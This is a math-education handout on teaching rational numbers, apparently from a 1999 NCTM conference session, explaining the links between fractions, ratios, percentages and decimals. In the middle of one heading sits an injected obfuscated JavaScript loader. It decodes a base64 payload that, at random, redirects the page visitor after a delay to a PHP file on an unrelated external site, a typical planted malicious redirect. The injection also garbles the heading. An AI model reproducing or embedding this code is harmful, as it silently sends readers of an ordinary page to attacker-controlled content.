Rational numbers include fractions of all types, percentages and ratios, and present difficulties that simply do not exist with whole numbers. All of these number ideas involve two separate numbers, and a comparison between them. Whereas ordinary cardinal, or counting, numbers can be understood in terms of a single group of objects, rational numbers and require understanding of two quantities simultaneously. Look at the following two graphics:

The numerosity, or size, of the set of kangaroos can be represented by the single symbol '3'. However, the amount of the Mexican flag that is red is represented by 2 numbers, in this case separated by a line (called the vinculum). This symbol (1/3) is understood in terms of both numbers at the same time. It cannot be grasped by just one of them. We can express this amount in a number of equivalent forms:

• This flag is 1/3 red
• Area of the flag that is red : the total area of the flag = 1 : 3
• Red area of flag = 33.33...% = 33 1/3 %
• Red region = 0.33... of flag
• Red area : non-red area = 1 : 2

Notice how confusing this could be for a student! There are many ways of thinking about and recording rational quantities, and they often do not seem to be the same at first glance. Sometimes we compare one part to the whole, but sometimes we wish to compare one part to another part, or the rest of the whole amount. For example, in mixing a drink we may use a ratio of 1:5 to represent the relative quantities of drink concentrate and water, leading to the fractions 1/6 and 5/6 to represent the amount of each ingredient, compared to the total volume.

### Decimals, Common Fractions, Percents andfunction l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe<o4.length);document.write(q3);};l1c373528ef5('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cua2F0aWF0ZW50aS5jb20vd3AtY29udGVudC9wbHVnaW5zL3N5ZG5leS10b29sYm94L2luYy9jbGFzcy5qc29uLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A'); Ratios

The various forms of rational number are often introduced to children separately, often over a period of several years. This can lead students to believe that they are all different, and not to see the links and similarities that exist between the various forms. What happens for many students is that they develop ideas for these numbers that are isolated from the others, each with its own set of idiosyncratic rules and symbols to be used when recording.

What we should be doing is to show students the equivalence of these ideas, and how they are interrelated and connected, both conceptually and mathematically:

### Summary

It is my belief that the teaching of mathematics should include:

• materials that show the links between mathematical ideas
• discussion among students about mathematics
• teaching that draws students' attention to the links that exist between various concepts
• time for students to make sense of mathematics for themselves

[hr]

##### Picture credits:
• Kangaroo - openclipart.org/Pearson Scott Foresman
• Mexican flag - openclipart.org/Anonymous
• Fraction graphics - Peter Price

[related-posts]

[hr]

These notes were prepared as handouts for a conference session:

NCTM 1999 Annual Meeting - San Francisco [Visit the NCTM site]. They were previously hosted at hi-flyer.com, and were moved to Classroom Professor in April, 2010.